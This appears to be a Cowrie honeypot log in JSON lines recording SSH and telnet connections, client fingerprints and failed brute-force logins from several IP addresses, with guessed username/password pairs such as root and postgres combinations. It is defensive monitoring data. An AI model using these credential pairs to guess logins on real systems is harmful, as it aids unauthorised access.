{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:02:06.413956Z","src_ip":"91.92.40.4","session":"08fec754066e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"password123","message":"login attempt [postgres/password123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:02:06.658179Z","src_ip":"91.92.40.4","session":"08fec754066e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:02:07.742259Z","src_ip":"91.92.40.4","session":"08fec754066e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":40974,"dst_ip":"159.203.135.109","dst_port":23,"session":"17a271cb64b6","protocol":"telnet","message":"New connection: 170.64.224.25:40974 (159.203.135.109:23) [session: 17a271cb64b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:02:10.260977Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":33144,"dst_ip":"159.203.135.109","dst_port":22,"session":"1f8a6f5fc2f9","protocol":"ssh","message":"New connection: 80.66.85.226:33144 (159.203.135.109:22) [session: 1f8a6f5fc2f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:02:12.710181Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:02:12.718569Z","src_ip":"80.66.85.226","session":"1f8a6f5fc2f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:02:12.808368Z","src_ip":"80.66.85.226","session":"1f8a6f5fc2f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"reyrtutyd","message":"login attempt [root/reyrtutyd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:02:13.081585Z","src_ip":"80.66.85.226","session":"1f8a6f5fc2f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:02:14.173082Z","src_ip":"80.66.85.226","session":"1f8a6f5fc2f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":63.76717400550842,"message":"Connection lost after 63 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:02:16.982152Z","src_ip":"170.64.224.25","session":"969719fa1d8d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":57.30071139335632,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:02:29.118779Z","src_ip":"137.184.5.188","session":"7feb248222a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":43254,"dst_ip":"159.203.135.109","dst_port":23,"session":"d574835a7b3a","protocol":"telnet","message":"New connection: 170.64.224.25:43254 (159.203.135.109:23) [session: d574835a7b3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:02:30.347488Z"}
{"eventid":"cowrie.session.closed","duration":34.93169856071472,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:02:45.192564Z","src_ip":"170.64.224.25","session":"17a271cb64b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":21.36607813835144,"message":"Connection lost after 21 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:02:51.713468Z","src_ip":"170.64.224.25","session":"d574835a7b3a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":33670,"dst_ip":"10.17.0.5","dst_port":22,"session":"a2e290158972","protocol":"ssh","message":"New connection: 103.82.132.16:33670 (10.17.0.5:22) [session: a2e290158972]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:02:52.489106Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:02:52.492900Z","src_ip":"103.82.132.16","session":"a2e290158972","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:02:52.741661Z","src_ip":"103.82.132.16","session":"a2e290158972","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"03081998","message":"login attempt [root/03081998] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:02:53.482056Z","src_ip":"103.82.132.16","session":"a2e290158972","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":41864,"dst_ip":"159.203.135.109","dst_port":23,"session":"91e49198db79","protocol":"telnet","message":"New connection: 170.64.224.25:41864 (159.203.135.109:23) [session: 91e49198db79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:02:54.518404Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:02:54.731198Z","src_ip":"103.82.132.16","session":"a2e290158972","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00442290306091,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:02:57.859689Z","src_ip":"170.64.224.25","session":"6709bb1cd282","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"44.202.18.236","src_port":18642,"dst_ip":"10.17.0.5","dst_port":22,"session":"2acb8cbd587f","protocol":"ssh","message":"New connection: 44.202.18.236:18642 (10.17.0.5:22) [session: 2acb8cbd587f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:03:10.436293Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:03:10.954236Z","src_ip":"44.202.18.236","session":"2acb8cbd587f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"9052c4ab4164c78256e71143dcfc7eac","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 9052c4ab4164c78256e71143dcfc7eac","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:03:10.957879Z","src_ip":"44.202.18.236","session":"2acb8cbd587f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:03:12.169652Z","src_ip":"44.202.18.236","session":"2acb8cbd587f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00263285636902,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:03:14.341635Z","src_ip":"170.64.224.25","session":"9129eb8f0370","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":41852,"dst_ip":"159.203.135.109","dst_port":23,"session":"d2ee9b4e2ffb","protocol":"telnet","message":"New connection: 170.64.224.25:41852 (159.203.135.109:23) [session: d2ee9b4e2ffb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:03:24.598970Z"}
{"eventid":"cowrie.session.closed","duration":40.05236101150513,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:03:34.570625Z","src_ip":"170.64.224.25","session":"91e49198db79","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.003103017807,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:03:40.888426Z","src_ip":"170.64.224.25","session":"eba95e2bbe22","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.187.11","src_port":57884,"dst_ip":"10.17.0.5","dst_port":22,"session":"cfc437744153","protocol":"ssh","message":"New connection: 167.172.187.11:57884 (10.17.0.5:22) [session: cfc437744153]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:03:59.889206Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:03:59.893352Z","src_ip":"167.172.187.11","session":"cfc437744153","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:03:59.977343Z","src_ip":"167.172.187.11","session":"cfc437744153","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"ftpuser@1234","message":"login attempt [ftpuser/ftpuser@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:04:00.347337Z","src_ip":"167.172.187.11","session":"cfc437744153","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":36624,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5a4cb7153f3","protocol":"telnet","message":"New connection: 170.64.224.25:36624 (159.203.135.109:23) [session: d5a4cb7153f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:04:01.063441Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:04:01.434726Z","src_ip":"167.172.187.11","session":"cfc437744153","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.242.143.220","src_port":35836,"dst_ip":"10.17.0.5","dst_port":22,"session":"6b863f4dbf59","protocol":"ssh","message":"New connection: 38.242.143.220:35836 (10.17.0.5:22) [session: 6b863f4dbf59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:04:09.325100Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:04:09.332543Z","src_ip":"38.242.143.220","session":"6b863f4dbf59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:04:09.435418Z","src_ip":"38.242.143.220","session":"6b863f4dbf59","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"10t3x$S3cur3@W0rd","message":"login attempt [root/10t3x$S3cur3@W0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:04:09.718467Z","src_ip":"38.242.143.220","session":"6b863f4dbf59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:04:10.817440Z","src_ip":"38.242.143.220","session":"6b863f4dbf59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":51856,"dst_ip":"10.17.0.5","dst_port":22,"session":"88c8a39e88ea","protocol":"ssh","message":"New connection: 91.92.40.4:51856 (10.17.0.5:22) [session: 88c8a39e88ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:04:11.536152Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:04:11.557834Z","src_ip":"91.92.40.4","session":"88c8a39e88ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:04:11.622226Z","src_ip":"91.92.40.4","session":"88c8a39e88ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"qwerty123456","message":"login attempt [postgres/qwerty123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:04:12.147789Z","src_ip":"91.92.40.4","session":"88c8a39e88ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:04:13.230783Z","src_ip":"91.92.40.4","session":"88c8a39e88ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.0450599193573,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:04:16.643941Z","src_ip":"170.64.224.25","session":"d2ee9b4e2ffb","protocol":"telnet"}
